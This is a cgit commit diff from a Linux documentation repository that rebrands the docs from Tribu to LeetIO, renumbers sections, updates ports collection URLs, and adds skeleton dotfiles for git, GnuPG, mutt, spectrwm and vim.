about summary refs log tree commit diff stats
path: root/linux
diff options
context:
space:
mode:
Diffstat (limited to 'linux')
-rw-r--r--linux/apparmor.html10
-rw-r--r--linux/bash.html20
-rw-r--r--linux/conf/ports/compat-32.git7
-rw-r--r--linux/conf/ports/contrib.git2
-rw-r--r--linux/conf/ports/kde5.git4
-rw-r--r--linux/conf/ports/mate.git4
-rw-r--r--linux/conf/ports/opt.git2
-rw-r--r--linux/conf/skel/.gitconfig10
-rw-r--r--linux/conf/skel/.gnupg/gpg.conf136
-rw-r--r--linux/conf/skel/.mutt/external27
-rw-r--r--linux/conf/skel/.mutt/gpg.rc88
-rw-r--r--linux/conf/skel/.mutt/mail_alias0
-rw-r--r--linux/conf/skel/.mutt/muttrc60
-rw-r--r--linux/conf/skel/.mutt/system25
-rw-r--r--linux/conf/skel/.spectrwm.conf131
-rw-r--r--linux/conf/skel/.vim/backup/.gitignore0
-rw-r--r--linux/conf/skel/.vim/colors/wombat256mod.vim96
-rw-r--r--linux/conf/skel/.vim/swap/.gitignore0
-rw-r--r--linux/conf/skel/.vim/undodir/.gitignore0
-rw-r--r--linux/conf/skel/.vim/views/.gitignore0
-rw-r--r--linux/conf/skel/.vimrc156
-rw-r--r--linux/conf/skel/.xinitrc13
-rw-r--r--linux/configure.html10
-rw-r--r--linux/dash.html14
-rw-r--r--linux/exim.html10
-rw-r--r--linux/fail2ban.html54
-rw-r--r--linux/hardening.html10
-rw-r--r--linux/index.html98
-rw-r--r--linux/install.html24
-rw-r--r--linux/linux.html10
-rw-r--r--linux/network.html69
-rw-r--r--linux/package.html26
-rw-r--r--linux/ports.html10
-rw-r--r--linux/reboot.html10
-rw-r--r--linux/samhain.html10
-rwxr-xr-xlinux/scripts/mirror-system73
-rw-r--r--linux/scripts/pkgmk-test.conf19
-rw-r--r--linux/scripts/pkgmk-test.sh5
-rwxr-xr-xlinux/scripts/replace.sh9
-rw-r--r--linux/scripts/runvm/c12-dvd15
-rw-r--r--linux/scripts/runvm/profile/crux7
-rw-r--r--linux/scripts/runvm/runvm.sh26
-rw-r--r--linux/scripts/setup-gitolite.sh43
-rw-r--r--linux/scripts/setup-iso.sh14
-rw-r--r--linux/scripts/setup-nginx.sh24
-rw-r--r--linux/scripts/setup-openssh.sh43
-rw-r--r--linux/scripts/setup-php.sh7
-rw-r--r--linux/scripts/setup-postgresql.sh87
-rw-r--r--linux/scripts/setup-x.sh96
-rw-r--r--linux/sysctl.html10
-rw-r--r--linux/toolchain.html10
-rw-r--r--linux/tty-terminal.html14
-rw-r--r--linux/wireless.html133
53 files changed, 1625 insertions, 156 deletions
diff --git a/linux/apparmor.html b/linux/apparmor.html
index fcb34fe..6cd6d4f 100644
--- a/linux/apparmor.html
+++ b/linux/apparmor.html
@@ -6,7 +6,7 @@
     </head>
     <body>
 
-	<a href="index.html">Core OS Index</a>
+	<a href="index.html">GNU/Linux Index</a>
 
 	<h1>2.6.1. AppArmor</h1>
 
@@ -244,10 +244,10 @@
 	chache-loc=/var/cache/apparmor
 	</pre>
 
-	<a href="index.html">Core OS Index</a>
-	<p>This is part of the Tribu System Documentation.
-	Copyright (C) 2020
-	Tribu Team.
+	<a href="index.html">GNU/Linux Index</a>
+	<p>This is part of the LeetIO System Documentation.
+	Copyright (C) 2021
+	LeetIO Team.
 	See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
 	for copying conditions.</p>
 
diff --git a/linux/bash.html b/linux/bash.html
index f49d27e..7b98eb5 100644
--- a/linux/bash.html
+++ b/linux/bash.html
@@ -2,12 +2,12 @@
 <html dir="ltr" lang="en">
     <head>
         <meta charset='utf-8'>
-        <title>2.5.2. Bash</title>
+        <title>2.3.2. Bash</title>
     </head>
     <body>
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
-        <h1 id="bash">2.5.2. Bash</h1>
+        <h1 id="bash">2.3.2. Bash</h1>
 
         <p>Just to be sure, setup bash as default login;<p>
 
@@ -32,7 +32,7 @@
             alias, editor.</dd>
         </dl>
 
-        <h2 id="profile">2.5.2.1. Profile</h2>
+        <h2 id="profile">2.3.2.1. Profile</h2>
 
         <p>Example of ~/.profile;</p>
 
@@ -73,7 +73,7 @@
 	    fi
 fi        </pre>
 
-        <h2 id="bashrc">2.5.2.2. Bash RC</h2>
+        <h2 id="bashrc">2.3.2.2. Bash RC</h2>
 
         <p>Example of ~/.bashrc;</p>
 
@@ -136,7 +136,7 @@ fi        </pre>
         fi
         </pre>
 
-        <h2 id="bash_profile">2.5.2.3. Bash profile</h2>
+        <h2 id="bash_profile">2.3.2.3. Bash profile</h2>
 
         <p>Example of ~/.bash_profile;</p>
 
@@ -152,11 +152,11 @@ fi        </pre>
         </pre>
 
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
         <p>
-        This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
 
diff --git a/linux/conf/ports/compat-32.git b/linux/conf/ports/compat-32.git
new file mode 100644
index 0000000..9f89a92
--- /dev/null
+++ b/linux/conf/ports/compat-32.git
@@ -0,0 +1,7 @@
+# Collection compat-32
+#
+NAME=compat-32
+URL=git://crux.nu/ports/compat-32.git
+BRANCH=3.6
+destination=/usr/ports/compat-32
+PORTS_DIR="/usr/ports"
diff --git a/linux/conf/ports/contrib.git b/linux/conf/ports/contrib.git
index c618a05..493f252 100644
--- a/linux/conf/ports/contrib.git
+++ b/linux/conf/ports/contrib.git
@@ -1,4 +1,4 @@
-# Collection core
+# Collection contrib
 #
 NAME=contrib
 URL=git://git.leetio.dev/contrib.git
diff --git a/linux/conf/ports/kde5.git b/linux/conf/ports/kde5.git
index fe0f31f..ebfdf39 100644
--- a/linux/conf/ports/kde5.git
+++ b/linux/conf/ports/kde5.git
@@ -1,7 +1,7 @@
 # Collection core
 #
 NAME=kde5
-URL=git://tribu.semdestino.org/kde5.git
-BRANCH=stable-3.5
+URL=git://git.leetio.dev/kde5.git
+BRANCH=stable-3.6
 destination=/usr/ports/kde5
 PORTS_DIR="/usr/ports"
diff --git a/linux/conf/ports/mate.git b/linux/conf/ports/mate.git
index 3532e3d..d363694 100644
--- a/linux/conf/ports/mate.git
+++ b/linux/conf/ports/mate.git
@@ -1,7 +1,7 @@
 # Collection mate
 #
 NAME=mate
-URL=git://tribu.semdestino.org/mate.git
-BRANCH=stable-3.5
+URL=git://git.leetio.dev/mate.git
+BRANCH=stable-3.6
 destination=/usr/ports/mate
 PORTS_DIR="/usr/ports"
diff --git a/linux/conf/ports/opt.git b/linux/conf/ports/opt.git
index ea7676b..fc04b6a 100644
--- a/linux/conf/ports/opt.git
+++ b/linux/conf/ports/opt.git
@@ -1,4 +1,4 @@
-# Collection core
+# Collection opt
 #
 NAME=opt
 URL=git://git.leetio.dev/opt.git
diff --git a/linux/conf/skel/.gitconfig b/linux/conf/skel/.gitconfig
new file mode 100644
index 0000000..730d8d9
--- /dev/null
+++ b/linux/conf/skel/.gitconfig
@@ -0,0 +1,10 @@
+[core]
+	pager = less -F -X
+	editor = vim
+[diff]
+	tool = vimdiff
+[merge]
+	tool = vimdiff
+	conflictstyle = diff3
+[difftool]
+	prompt = false
diff --git a/linux/conf/skel/.gnupg/gpg.conf b/linux/conf/skel/.gnupg/gpg.conf
new file mode 100644
index 0000000..48edc58
--- /dev/null
+++ b/linux/conf/skel/.gnupg/gpg.conf
@@ -0,0 +1,136 @@
+# Options for GnuPG
+# Copyright 1998-2003, 2010 Free Software Foundation, Inc.
+# Copyright 1998-2003, 2010 Werner Koch
+#
+# This file is free software; as a special exception the author gives
+# unlimited permission to copy and/or distribute it, with or without
+# modifications, as long as this notice is preserved.
+#
+# This file is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY, to the extent permitted by law; without even the
+# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Unless you specify which option file to use (with the command line
+# option "--options filename"), GnuPG uses the file ~/.gnupg/gpg.conf
+# by default.
+#
+# An options file can contain any long options which are available in
+# GnuPG. If the first non white space character of a line is a '#',
+# this line is ignored.  Empty lines are also ignored.
+#
+# See the gpg man page for a list of options.
+
+
+# If you have more than 1 secret key in your keyring, you may want to
+# uncomment the following option and set your preferred keyid.
+
+#default-key 621CC013
+
+
+# If you do not pass a recipient to gpg, it will ask for one.  Using
+# this option you can encrypt to a default key.  Key validation will
+# not be done in this case.  The second form uses the default key as
+# default recipient.
+
+#default-recipient some-user-id
+#default-recipient-self
+
+
+# Group names may be defined like this:
+#   group mynames = paige 0x12345678 joe patti
+#
+# Any time "mynames" is a recipient (-r or --recipient), it will be
+# expanded to the names "paige", "joe", and "patti", and the key ID
+# "0x12345678".  Note there is only one level of expansion - you
+# cannot make an group that points to another group.  Note also that
+# if there are spaces in the recipient name, this will appear as two
+# recipients.  In these cases it is better to use the key ID.
+
+#group mynames = paige 0x12345678 joe patti
+
+
+# GnuPG can automatically locate and retrieve keys as needed using
+# this option.  This happens when encrypting to an email address (in
+# the "user@@example.com" form) and there are no keys matching
+# "user@example.com" in the local keyring.  This option takes any
+# number mechanisms which are tried in the given order.  The default
+# is "--auto-key-locate local" to search for keys only in the local
+# key database.  Uncomment the next line to locate a missing key using
+# two DNS based mechanisms.
+
+#auto-key-locate local,pka,dane
+
+
+# Common options for keyserver functions:
+# (Note that the --keyserver option has been moved to dirmngr.conf)
+#
+# include-disabled = when searching, include keys marked as "disabled"
+#                    on the keyserver (not all keyservers support this).
+#
+# no-include-revoked = when searching, do not include keys marked as
+#                      "revoked" on the keyserver.
+#
+# verbose = show more information as the keys are fetched.
+#           Can be used more than once to increase the amount
+#           of information shown.
+#
+# auto-key-retrieve = automatically fetch keys as needed from the keyserver
+#                     when verifying signatures or when importing keys that
+#                     have been revoked by a revocation key that is not
+#                     present on the keyring.
+#
+# no-include-attributes = do not include attribute IDs (aka "photo IDs")
+#                         when sending keys to the keyserver.
+
+#keyserver-options auto-key-retrieve
+
+
+# Uncomment this line to display photo user IDs in key listings and
+# when a signature from a key with a photo is verified.
+
+#show-photos
+
+
+# Use this program to display photo user IDs
+#
+# %i is expanded to a temporary file that contains the photo.
+# %I is the same as %i, but the file isn't deleted afterwards by GnuPG.
+# %k is expanded to the key ID of the key.
+# %K is expanded to the long OpenPGP key ID of the key.
+# %t is expanded to the extension of the image (e.g. "jpg").
+# %T is expanded to the MIME type of the image (e.g. "image/jpeg").
+# %f is expanded to the fingerprint of the key.
+# %% is %, of course.
+#
+# If %i or %I are not present, then the photo is supplied to the
+# viewer on standard input.  If your platform supports it, standard
+# input is the best way to do this as it avoids the time and effort in
+# generating and then cleaning up a secure temp file.
+#
+# The default program is "xloadimage -fork -quiet -title 'KeyID 0x%k' stdin"
+# On Mac OS X and Windows, the default is to use your regular JPEG image
+# viewer.
+#
+# Some other viewers:
+# photo-viewer "qiv %i"
+# photo-viewer "ee %i"
+# photo-viewer "display -title 'KeyID 0x%k'"
+#
+# This one saves a copy of the photo ID in your home directory:
+# photo-viewer "cat > ~/photoid-for-key-%k.%t"
+#
+# Use your MIME handler to view photos:
+# photo-viewer "metamail -q -d -b -c %T -s 'KeyID 0x%k' -f GnuPG"
+
+
+# Because some mailers change lines starting with "From " to ">From "
+# it is good to handle such lines in a special way when creating
+# cleartext signatures; all other PGP versions do it this way too.
+# To enable full OpenPGP compliance you may want to use this option.
+
+#no-escape-from-lines
+
+
+# Uncomment the following option to get rid of the copyright notice
+
+#no-greeting
diff --git a/linux/conf/skel/.mutt/external b/linux/conf/skel/.mutt/external
new file mode 100644
index 0000000..8ade1b1
--- /dev/null
+++ b/linux/conf/skel/.mutt/external
@@ -0,0 +1,27 @@
+color status blue default
+
+unset sendmail
+
+set folder="~/.mailext"
+set mbox_type=Maildir
+set spoolfile="~/.mailext"
+set keep_flagged=yes            # esc-f to mark messages in spool, and
+
+set mbox="~/.mailext"
+set postponed="+.Drafts"
+set record="+.Sent"
+
+set use_from=yes
+set ssl_starttls=yes
+set ssl_force_tls = yes
+
+set realname='User Name'
+set from=mail@external.org
+
+set pop_user="mail@external.org"
+set pop_pass="password"
+set pop_delete=yes
+set pop_host="pops://$pop_user:$pop_pass@pop.external.org:995"
+
+set smtp_url="smtps://$pop_user:$pop_pass@smtp.external.org/"
+
diff --git a/linux/conf/skel/.mutt/gpg.rc b/linux/conf/skel/.mutt/gpg.rc
new file mode 100644
index 0000000..2ef0ae2
--- /dev/null
+++ b/linux/conf/skel/.mutt/gpg.rc
@@ -0,0 +1,88 @@
+# -*-muttrc-*-
+#
+# Command formats for gpg.
+# 
+# This version uses gpg-2comp from 
+#   http://70t.de/download/gpg-2comp.tar.gz
+#
+# $Id$
+#
+# %p    The empty string when no passphrase is needed,
+#       the string "PGPPASSFD=0" if one is needed.
+#
+#       This is mostly used in conditional % sequences.
+#
+# %f    Most PGP commands operate on a single file or a file
+#       containing a message.  %f expands to this file's name.
+#
+# %s    When verifying signatures, there is another temporary file
+#       containing the detached signature.  %s expands to this
+#       file's name.
+#
+# %a    In "signing" contexts, this expands to the value of the
+#       configuration variable $pgp_sign_as.  You probably need to
+#       use this within a conditional % sequence.
+#
+# %r    In many contexts, mutt passes key IDs to pgp.  %r expands to
+#       a list of key IDs.
+
+# Note that we explicitly set the comment armor header since GnuPG, when used
+# in some localiaztion environments, generates 8bit data in that header, thereby
+# breaking PGP/MIME.
+
+# decode application/pgp
+set pgp_decode_command="gpg --status-fd=2 %?p?--passphrase-fd 0? --no-verbose --quiet --batch --output - %f"
+
+# verify a pgp/mime signature
+set pgp_verify_command="gpg --status-fd=2 --no-verbose --quiet --batch --output - --verify %s %f"
+
+# decrypt a pgp/mime attachment
+set pgp_decrypt_command="gpg --status-fd=2 %?p?--passphrase-fd 0? --no-verbose --quiet --batch --output - %f"
+
+# create a pgp/mime signed attachment
+# set pgp_sign_command="gpg-2comp --comment '' --no-verbose --batch --output - %?p?--passphrase-fd 0? --armor --detach-sign --textmode %?a?-u %a? %f"
+set pgp_sign_command="gpg --no-verbose --batch --quiet --output - %?p?--passphrase-fd 0? --armor --detach-sign --textmode %?a?-u %a? %f"
+
+# create a application/pgp signed (old-style) message
+# set pgp_clearsign_command="gpg-2comp --comment '' --no-verbose --batch --output - %?p?--passphrase-fd 0? --armor --textmode --clearsign %?a?-u %a? %f"
+set pgp_clearsign_command="gpg --no-verbose --batch --quiet --output - %?p?--passphrase-fd 0? --armor --textmode --clearsign %?a?-u %a? %f"
+
+# create a pgp/mime encrypted attachment
+# set pgp_encrypt_only_command="pgpewrap gpg-2comp -v --batch --output - --encrypt --textmode --armor --always-trust -- -r %r -- %f"
+set pgp_encrypt_only_command="pgpewrap gpg --batch --quiet --no-verbose --output - --encrypt --textmode --armor --always-trust -- -r %r -- %f"
+
+# create a pgp/mime encrypted and signed attachment
+# set pgp_encrypt_sign_command="pgpewrap gpg-2comp %?p?--passphrase-fd 0? -v --batch --output - --encrypt --sign %?a?-u %a? --armor --always-trust -- -r %r -- %f"
+set pgp_encrypt_sign_command="pgpewrap gpg %?p?--passphrase-fd 0? --batch --quiet --no-verbose --textmode --output - --encrypt --sign %?a?-u %a? --armor --always-trust -- -r %r -- %f"
+
+# import a key into the public key ring
+set pgp_import_command="gpg --no-verbose --import %f"
+
+# export a key from the public key ring
+set pgp_export_command="gpg --no-verbose --export --armor %r"
+
+# verify a key
+set pgp_verify_key_command="gpg --verbose --batch --fingerprint --check-sigs %r"
+
+# read in the public key ring
+set pgp_list_pubring_command="gpg --no-verbose --batch --quiet --with-colons --with-fingerprint --with-fingerprint --list-keys %r"
+
+# read in the secret key ring
+set pgp_list_secring_command="gpg --no-verbose --batch --quiet --with-colons --with-fingerprint --with-fingerprint --list-secret-keys %r"
+
+# fetch keys
+# set pgp_getkeys_command="pkspxycwrap %r"
+
+# pattern for good signature - may need to be adapted to locale!
+
+# set pgp_good_sign="^gpgv?: Good signature from "
+
+# OK, here's a version which uses gnupg's message catalog:
+# set pgp_good_sign="`gettext -d gnupg -s 'Good signature from "' | tr -d '"'`"
+
+# This version uses --status-fd messages
+set pgp_good_sign="^\\[GNUPG:\\] GOODSIG"
+
+# pattern to verify a decryption occurred
+set pgp_decryption_okay="^\\[GNUPG:\\] DECRYPTION_OKAY"
+
diff --git a/linux/conf/skel/.mutt/mail_alias b/linux/conf/skel/.mutt/mail_alias
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/linux/conf/skel/.mutt/mail_alias
diff --git a/linux/conf/skel/.mutt/muttrc b/linux/conf/skel/.mutt/muttrc
new file mode 100644
index 0000000..6ec1da4
--- /dev/null
+++ b/linux/conf/skel/.mutt/muttrc
@@ -0,0 +1,60 @@
+set config_charset="utf-8"
+# set locale="de_CH"
+set charset="utf-8"
+set send_charset="utf-8"
+set editor="vim"
+set visual=vim
+set auto_tag
+set sort=threads
+
+set sort_browser=reverse-date
+set sort_aux=reverse-last-date-received
+set duplicate_threads=yes
+
+set crypt_use_gpgme=yes
+
+## automatically sign all outgoing messages
+set crypt_autosign=yes
+
+## automatically encrypt outgoing messages
+set crypt_autoencrypt=yes
+
+## automatically verify the sign of a message when opened
+set crypt_verify_sig=yes
+
+set pgp_sign_as=0x8BF422F79FC7C975BDF07828E88440BC35095A74
+#set pgp_sign_as=0x8BF422F7
+set pgp_timeout=1800
+set pgp_autosign=yes
+#set pgp_replyencrypt=yes
+
+source ~/.mutt/gpg.rc
+
+source "~/.mutt/mail_alias"
+set alias_file=~/.mutt/mail_alias
+
+# Header
+set header_cache =~/.mutt/cache/headers
+set message_cachedir =~/.mutt/cache/bodies
+set certificate_file =~/.mutt/certificates
+
+set timeout=10    # mutt 'presses' (like) a key for you 
+                  #(while you're idle) each x sec to trigger 
+                  #the thing below
+set mail_check=5  # mutt checks for new mails on every keystroke
+                  # but not more often then once in 5 seconds
+set beep_new      # beep on new messages in the mailboxes
+
+## Local system account
+folder-hook '.mail' 'source ~/.mutt/system'
+
+## Remote account
+folder-hook '.mailext' 'source ~/.mutt/external'
+
+## Default account
+source ~/.mutt/system
+
+## Shortcuts
+macro index,pager <f3> '<sync-mailbox><enter-command>source ~/.mutt/external<enter><change-folder>!<enter>'
+
+macro index,pager <f2> '<sync-mailbox><enter-command>source ~/.mutt/system<enter><change-folder>!<enter>'
diff --git a/linux/conf/skel/.mutt/system b/linux/conf/skel/.mutt/system
new file mode 100644
index 0000000..ae23778
--- /dev/null
+++ b/linux/conf/skel/.mutt/system
@@ -0,0 +1,25 @@
+color status green default
+
+set folder="~/.mail"
+set mbox_type=Maildir
+set spoolfile=/var/spool/mail/username
+set keep_flagged=yes
+
+set mbox="~/.mail"           # ~/.mailext/read_inbox
+set postponed="+.Drafts"
+set record="+.Sent"
+
+set use_from=yes
+
+set sendmail=/usr/sbin/exim
+set ssl_starttls=no
+set ssl_force_tls=no
+
+unset pop_user
+unset pop_pass
+unset pop_delete
+unset pop_host
+unset smtp_url
+
+set realname='username'
+set from=username@localhost
diff --git a/linux/conf/skel/.spectrwm.conf b/linux/conf/skel/.spectrwm.conf
new file mode 100644
index 0000000..73f2a3a
--- /dev/null
+++ b/linux/conf/skel/.spectrwm.conf
@@ -0,0 +1,131 @@
+# PLEASE READ THE MAN PAGE BEFORE EDITING THIS FILE!
+# https://htmlpreview.github.io/?https://github.com/conformal/spectrwm/blob/master/spectrwm.html
+# NOTE: all rgb color values in this file are in hex! see XQueryColor for examples
+
+# workspace_limit	= 22
+# focus_mode		= default
+# focus_close		= previous
+# focus_close_wrap	= 1
+# focus_default		= last
+# spawn_position		= next
+# workspace_clamp	= 1
+# warp_focus		= 1
+# warp_pointer		= 1
+
+# Window Decoration
+# border_width		= 1
+# color_focus		= red
+# color_focus_maximized	= yellow
+# color_unfocus		= rgb:88/88/88
+# color_unfocus_maximized	= rgb:88/88/00
+# region_padding	= 0
+# tile_gap		= 0
+
+# Region containment
+# Distance window must be dragged/resized beyond the region edge before it is
+# allowed outside the region.
+# boundary_width 		= 50
+
+# Remove window border when bar is disabled and there is only one window in workspace
+# disable_border		= 1
+
+# Bar Settings
+# bar_enabled		= 1
+# bar_border_width	= 1
+# bar_border[1]		= rgb:00/80/80
+# bar_border_unfocus[1]	= rgb:00/40/40
+# bar_color[1]		= black
+# bar_color_selected[1]	= rgb:00/80/80
+# bar_font_color[1]	= rgb:a0/a0/a0
+# bar_font_color_selected	= black
+# bar_font		= -*-terminus-medium-*-*-*-*-*-*-*-*-*-*-*
+bar_font		= bar_font = Terminus:pixelsize=14:antialias=true
+# bar_action		= baraction.sh
+# bar_justify		= left
+# bar_format		= +N:+I +S <+D>+4<%a %b %d %R %Z %Y+8<+A+4<+V
+# workspace_indicator	= listcurrent,listactive,markcurrent,printnames
+# bar_at_bottom		= 1
+# stack_enabled		= 1
+# clock_enabled		= 1
+# clock_format		= %a %b %d %R %Z %Y
+# iconic_enabled	= 0
+# maximize_hide_bar	= 0
+# window_class_enabled	= 0
+# window_instance_enabled	= 0
+# window_name_enabled	= 0
+# verbose_layout		= 1
+# urgent_enabled		= 1
+
+# Dialog box size ratio when using TRANSSZ quirk; 0.3 < dialog_ratio <= 1.0
+# dialog_ratio		= 0.6
+
+# Split a non-RandR dual head setup into one region per monitor
+# (non-standard driver-based multihead is not seen by spectrwm)
+# region		= screen[1]:1280x1024+0+0
+# region		= screen[1]:1280x1024+1280+0
+
+# Launch applications in a workspace of choice
+# autorun		= ws[1]:xterm
+# autorun		= ws[2]:xombrero http://www.openbsd.org
+#autorun		= ws[1]:wicd-gtk
+autorun		= ws[1]:st -e tmux
+
+
+# Customize workspace layout at start
+# layout		= ws[1]:4:0:0:0:vertical
+# layout		= ws[2]:0:0:0:0:horizontal
+# layout		= ws[3]:0:0:0:0:fullscreen
+# layout		= ws[4]:4:0:0:0:vertical_flip
+# layout		= ws[5]:0:0:0:0:horizontal_flip
+
+# Set workspace name at start
+# name			= ws[1]:IRC
+# name			= ws[2]:Email
+# name			= ws[3]:Browse
+# name			= ws[10]:Music
+
+# Mod key, (Windows key is Mod4) (Apple key on OSX is Mod2)
+# modkey = Mod1
+
+# This allows you to include pre-defined key bindings for your keyboard layout.
+# keyboard_mapping = ~/.spectrwm_us.conf
+
+# PROGRAMS
+
+# Validated default programs:
+program[lock]		= slock
+program[term]		= st
+# program[menu]		= dmenu_run $dmenu_bottom -fn $bar_font -nb $bar_color -nf $bar_font_color -sb $bar_color_selected -sf $bar_font_color_selected
+# program[search]	= dmenu $dmenu_bottom -i -fn $bar_font -nb $bar_color -nf $bar_font_color -sb $bar_color_selected -sf $bar_font_color_selected
+# program[name_workspace]	= dmenu $dmenu_bottom -p Workspace -fn $bar_font -nb $bar_color -nf $bar_font_color -sb $bar_color_selected -sf $bar_font_color_selected
+
+# To disable validation of the above, free the respective binding(s):
+# bind[]		= MOD+Shift+Delete	# disable lock
+# bind[]		= MOD+Shift+Return	# disable term
+# bind[]		= MOD+p			# disable menu
+
+# Optional default programs that will only be validated if you override:
+# program[screenshot_all]	= screenshot.sh full	# optional
+# program[screenshot_wind]	= screenshot.sh window	# optional
+# program[initscr]	= initscreen.sh			# optional
+
+# EXAMPLE: Define 'firefox' action and bind to key.
+# program[firefox]	= firefox http://spectrwm.org/
+# bind[firefox]		= MOD+Shift+b
+
+# QUIRKS
+# Default quirks, remove with: quirk[class:name] = NONE
+# quirk[MPlayer:xv]			= FLOAT + FULLSCREEN + FOCUSPREV
+# quirk[OpenOffice.org 2.4:VCLSalFrame]	= FLOAT
+# quirk[OpenOffice.org 3.0:VCLSalFrame]	= FLOAT
+# quirk[OpenOffice.org 3.1:VCLSalFrame]	= FLOAT
+# quirk[Firefox-bin:firefox-bin]		= TRANSSZ
+# quirk[Firefox:Dialog]			= FLOAT
+# quirk[Gimp:gimp]			= FLOAT + ANYWHERE
+# quirk[XTerm:xterm]			= XTERM_FONTADJ
+# quirk[xine:Xine Window]			= FLOAT + ANYWHERE
+# quirk[Xitk:Xitk Combo]			= FLOAT + ANYWHERE
+# quirk[xine:xine Panel]			= FLOAT + ANYWHERE
+# quirk[Xitk:Xine Window]			= FLOAT + ANYWHERE
+# quirk[xine:xine Video Fullscreen Window] = FULLSCREEN + FLOAT
+# quirk[pcb:pcb]				= FLOAT
diff --git a/linux/conf/skel/.vim/backup/.gitignore b/linux/conf/skel/.vim/backup/.gitignore
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/linux/conf/skel/.vim/backup/.gitignore
diff --git a/linux/conf/skel/.vim/colors/wombat256mod.vim b/linux/conf/skel/.vim/colors/wombat256mod.vim
new file mode 100644
index 0000000..1137eb8
--- /dev/null
+++ b/linux/conf/skel/.vim/colors/wombat256mod.vim
@@ -0,0 +1,96 @@
+" Vim color file
+" Original Maintainer:  Lars H. Nielsen (dengmao@gmail.com)
+" Last Change:  2010-07-23
+"
+" Modified version of wombat for 256-color terminals by
+"   David Liang (bmdavll@gmail.com)
+" based on version by
+"   Danila Bespalov (danila.bespalov@gmail.com)
+
+set background=dark
+
+if version > 580
+	hi clear
+	if exists("syntax_on")
+		syntax reset
+	endif
+endif
+
+let colors_name = "wombat256mod"
+
+
+" General colors
+hi Normal		ctermfg=252		ctermbg=234		cterm=none		guifg=#e3e0d7	guibg=#242424	gui=none
+hi Cursor		ctermfg=234		ctermbg=228		cterm=none		guifg=#242424	guibg=#eae788	gui=none
+hi Visual		ctermfg=251		ctermbg=239		cterm=none		guifg=#c3c6ca	guibg=#554d4b	gui=none
+hi VisualNOS	ctermfg=251		ctermbg=236		cterm=none		guifg=#c3c6ca	guibg=#303030	gui=none
+hi Search		ctermfg=177		ctermbg=241		cterm=none		guifg=#d787ff	guibg=#636066	gui=none
+hi Folded		ctermfg=103		ctermbg=237		cterm=none		guifg=#a0a8b0	guibg=#3a4046	gui=none
+hi Title		ctermfg=230						cterm=bold		guifg=#ffffd7					gui=bold
+hi StatusLine	ctermfg=230		ctermbg=238		cterm=none		guifg=#ffffd7	guibg=#444444	gui=italic
+hi VertSplit	ctermfg=238		ctermbg=238		cterm=none		guifg=#444444	guibg=#444444	gui=none
+hi StatusLineNC	ctermfg=241		ctermbg=238		cterm=none		guifg=#857b6f	guibg=#444444	gui=none
+hi LineNr		ctermfg=241		ctermbg=232		cterm=none		guifg=#857b6f	guibg=#080808	gui=none
+hi SpecialKey	ctermfg=241		ctermbg=235		cterm=none		guifg=#626262	guibg=#2b2b2b	gui=none
+hi WarningMsg	ctermfg=203										guifg=#ff5f55
+hi ErrorMsg		ctermfg=196		ctermbg=236		cterm=bold		guifg=#ff2026	guibg=#3a3a3a	gui=bold
+
+" Vim >= 7.0 specific colors
+if version >= 700
+hi CursorLine					ctermbg=236		cterm=none						guibg=#32322f
+hi MatchParen	ctermfg=228		ctermbg=101		cterm=bold		guifg=#eae788	guibg=#857b6f	gui=bold
+hi Pmenu		ctermfg=230		ctermbg=238						guifg=#ffffd7	guibg=#444444
+hi PmenuSel		ctermfg=232		ctermbg=192						guifg=#080808	guibg=#cae982
+endif
+
+" Diff highlighting
+hi DiffAdd						ctermbg=17										guibg=#2a0d6a
+hi DiffDelete	ctermfg=234		ctermbg=60		cterm=none		guifg=#242424	guibg=#3e3969	gui=none
+hi DiffText						ctermbg=53		cterm=none						guibg=#73186e	gui=none
+hi DiffChange					ctermbg=237										guibg=#382a37
+
+"hi CursorIM
+"hi Directory
+"hi IncSearch
+"hi Menu
+"hi ModeMsg
+"hi MoreMsg
+"hi PmenuSbar
+"hi PmenuThumb
+"hi Question
+"hi Scrollbar
+"hi SignColumn
+"hi SpellBad
+"hi SpellCap
+"hi SpellLocal
+"hi SpellRare
+"hi TabLine
+"hi TabLineFill
+"hi TabLineSel
+"hi Tooltip
+"hi User1
+"hi User9
+"hi WildMenu
+
+
+" Syntax highlighting
+hi Keyword		ctermfg=111		cterm=none		guifg=#88b8f6	gui=none
+hi Statement	ctermfg=111		cterm=none		guifg=#88b8f6	gui=none
+hi Constant		ctermfg=173		cterm=none		guifg=#e5786d	gui=none
+hi Number		ctermfg=173		cterm=none		guifg=#e5786d	gui=none
+hi PreProc		ctermfg=173		cterm=none		guifg=#e5786d	gui=none
+hi Function		ctermfg=192		cterm=none		guifg=#cae982	gui=none
+hi Identifier	ctermfg=192		cterm=none		guifg=#cae982	gui=none
+hi Type			ctermfg=186		cterm=none		guifg=#d4d987	gui=none
+hi Special		ctermfg=229		cterm=none		guifg=#eadead	gui=none
+hi String		ctermfg=113		cterm=none		guifg=#95e454	gui=italic
+hi Comment		ctermfg=246		cterm=none		guifg=#9c998e	gui=italic
+hi Todo			ctermfg=101		cterm=none		guifg=#857b6f	gui=italic
+
+
+" Links
+hi! link FoldColumn		Folded
+hi! link CursorColumn	CursorLine
+hi! link NonText		LineNr
+
+" vim:set ts=4 sw=4 noet:
diff --git a/linux/conf/skel/.vim/swap/.gitignore b/linux/conf/skel/.vim/swap/.gitignore
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/linux/conf/skel/.vim/swap/.gitignore
diff --git a/linux/conf/skel/.vim/undodir/.gitignore b/linux/conf/skel/.vim/undodir/.gitignore
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/linux/conf/skel/.vim/undodir/.gitignore
diff --git a/linux/conf/skel/.vim/views/.gitignore b/linux/conf/skel/.vim/views/.gitignore
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/linux/conf/skel/.vim/views/.gitignore
diff --git a/linux/conf/skel/.vimrc b/linux/conf/skel/.vimrc
new file mode 100644
index 0000000..fb4445f
--- /dev/null
